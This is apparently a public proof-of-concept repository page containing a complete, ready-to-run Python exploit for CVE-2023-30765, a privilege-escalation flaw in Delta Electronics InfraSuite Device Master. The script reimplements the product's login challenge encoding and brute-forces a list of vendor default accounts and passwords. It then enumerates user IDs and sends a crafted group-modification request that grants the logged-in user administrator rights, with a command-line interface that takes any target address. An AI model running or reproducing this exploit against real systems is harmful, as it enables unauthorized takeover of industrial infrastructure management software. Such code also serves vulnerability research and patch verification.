README.md
Rendering markdown...
'''
CVE-2023-30765 / ZDI-23-905: Delta Electronics Infrasuite Device Master Privilege Escalation
bug credit - Piotr Bazydlo (@chudypb)
fml-
'''
'''
## challenge / response headers ##
台達電子 (Delta Electronics) is prepended in user-challenge-response request data
Challenge = e3e742b33e01f6e0f2f0c34c669fafdc
=== md5(<password><timestamp>)
ChallengeValue = %25u53F0%25u9054%25u96FB%25u5B50 8974929296889177 27252728222532222628142725272814284227331428423034
== 台達電子897492929688917727252728222532222627142725272514284230331428422725
=== <chinese utf16>encoded(<password><time>)
encoding = charcode + offset (num_to_str//str_to_num funcs)
eg:
89 74 92 92 96 88 91 77
p a s s w o r d
encode >> s = 'ASDF';for(var i=0; i < s.length; i++) {console.log(s.charCodeAt(i) - 23)}
decode >> s = 'ASDF';for(var i=0; i < s.length; i++) {console.log(s.charCodeAt(i) + 23)}
'''
import requests
import argparse
import bs4
from datetime import *
import hashlib
import re
def str_to_num(data):
# based on the delta elec. js implementation
out = ''
for i in range(len(str(data))):
a = ord(data[i]) - 23
out += str(a)
return out
def conncheck(ip, port, tls):
#grabs header for sanity
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36"
}
if not tls:
url = "http://{}:{}".format(ip,port)
else:
url = "https://{}:{}".format(ip,port)
r = requests.get(url, headers=headers)
if r.status_code == 200:
html = bs4.BeautifulSoup(r.text, 'lxml')
print('[*] got title: {}'.format(html.title.text))
return url
else:
print("[!] received {} from server".format(r.status_code))
def usercheck(url, datefmt):
# soft brute-force users based on defaults
print("[*] checking default accounts")
usrs = ['Administrator','User','Device','Ems3000','Ems4000']
pwds = ['password', 'Ems3000!']
found = False
for u in usrs:
for p in pwds:
status = dologin(url, u, p)
if status == "true":
print("[+] {} : {}".format(u,p))
found = True
return found, u, p
else:
print("[-] {} : {}".format(u,p))
return found
def dologin(url,username, password):
#login with formatted data
challenge, datefmt = genchallenge(password)
data = {
'Account': '{}'.format(username),
'Challenge': '{}'.format(challenge),
'Time': '{}'.format(datefmt),
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36"
}
url = url+'/infrasuitemanager/realtime/login.xml'
r = requests.post(url, headers=headers, data=data)
html = bs4.BeautifulSoup(r.text, 'xml')
status = html.get_text()
return status
def getuserid(url, username, password):
#get user ids from xml dumps for esc request group adding
url = url + '/infrasuitemanager/runningconfigure/userinfo.xml'
print('[*] enumerating id for {}'.format(username))
challenge, datefmt = genchallenge(password)
challengevalue = genchallengevalue(password)
cookies = {
'InfraSuite-Manager_SystemLang': 'Lng-EnglishTagList',
'InfraSuiteManagerLoginMode': '1',
'Account': '{}'.format(username),
'Challenge': '{}'.format(challenge),
'RememberLogin': 'false',
'ChangeKey': '{}'.format(datefmt),
'ChallengeValue': '{}'.format(challengevalue),
}
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36'}
# 16777216 = GET_USER_NAME_ID_LIST from Common.dll!CtrlLayerNWCommand_UserInfo_SubCommand
data = 'xml=<CtrlLayerNWCommand_UserInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><i16OperationUserID>-1</i16OperationUserID><i32SubCommand>16777216</i32SubCommand></CtrlLayerNWCommand_UserInfo>'
r = requests.post(url, headers=headers, cookies=cookies, data=data)
html = bs4.BeautifulSoup(r.text, 'html.parser')
accs = html.find_all('account', text=True)
retag = re.compile('<.*?>')
ids = re.findall('<i16UserID>[0-9]</i16UserID>', r.text)
ids = [re.sub(retag,'',w) for w in ids]
accs = [re.sub(retag,'',str(x)) for x in accs]
print("[*] found {} users".format(len(accs)))
off = accs.index(username)
ids = ids[::2]
userid = ids[off]
print("[*] account {} is ID:{}".format(username, userid))
return userid
def escreq(url, username, password, userid):
# send the vuln request to escalate current user to admin
# warning: this is sketchy;
# - couldnt find a way to enum current group contents
# - so this just ads the current user and admin to the default admins group
# - YMMV
print('[*] escalating account: {}'.format(username))
url = url + '/infrasuitemanager/Runningconfigure/modifyusergroup.xml'
challenge, datefmt = genchallenge(password)
challengevalue = genchallengevalue(password)
data = {
'UserId': '0,{}'.format(userid), #sketchy for other admin users. yolo.
'opUserID': '0',
'Groupid': '0',
'Title': 'Administrator',
'Privilegelevel': '0',
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36"
}
cookies = {
'InfraSuite-Manager_SystemLang': 'Lng-EnglishTagList',
'InfraSuiteManagerLoginMode': '1',
'AllViewLayoutWestisClosed': 'false',
'AllViewLayoutWestSize': '250',
'AllViewLayoutPlaneSouthisClosed': 'false',
'AllViewLayoutPlaneSouthSize': '320',
'AllViewLayoutDeviceSouthSize': '150',
'AllViewLayoutDeviceSouthisClosed': 'false',
'AllViewLayoutSouthSize': '150',
'AllViewLayoutSouthisClosed': 'false',
'Account': '{}'.format(username),
'Challenge': '{}'.format(challenge),
'RememberLogin': 'false',
'ChangeKey': '{}'.format(datefmt),
'ChallengeValue': '{}'.format(challengevalue),
}
r = requests.post(url, headers=headers, cookies=cookies, data=data)
html = bs4.BeautifulSoup(r.text, 'xml')
status = html.get_text()
print("[*] success: {}".format(status))
def genchallenge(password):
datefmt = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
passtime = str(password)+datefmt
challenge = hashlib.md5(passtime.encode('utf-8')).hexdigest()
return challenge, datefmt
def genchallengevalue(password):
datefmt = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
unicode = "%25u53F0%25u9054%25u96FB%25u5B50"
datefmt = datefmt.replace(' ','%20')
datefmt = datefmt.replace(':','%3A')
challengevalue = unicode + str_to_num(password) + str_to_num(datefmt)
return challengevalue
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Delta Electronics Infrasuite Device Master Privilege Escalation (CVE-2023-30765)")
parser.add_argument("-i", "--target", type=str, action="store", dest="target", required=True, help="Target Infrasuite instance")
parser.add_argument("-p", "--port", type=str, action="store", dest="port", default='80', help="Target webservice port (default:80)")
parser.add_argument("-t", "--tls", action="store_true", dest="tls", default=False, help="Target webservice has tls (default:false)")
parser.add_argument("--user", type=str, action="store", dest="user", help="Account to escalate")
parser.add_argument("--pass", type=str, action="store", dest="pwd", default='4433', help="Account password")
parser.add_argument("-b", "--brute", action="store_true", dest="brute", default=False, help="Brute-force default user:pass pairs")
args = parser.parse_args()
datefmt = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
username = args.user
password = args.pwd
url = conncheck(args.target, args.port, args.tls)
if args.brute:
userstatus, username, password = usercheck(url, datefmt)
if userstatus == False:
print("[-] no valid accounts found")
exit(0)
loginstatus = dologin(url,username, password)
print('[*] logged in: {}'.format(loginstatus))
if loginstatus != "true":
print('[!] check credentials')
exit(0)
userid = getuserid(url, username, password)
escreq(url, username, password, userid)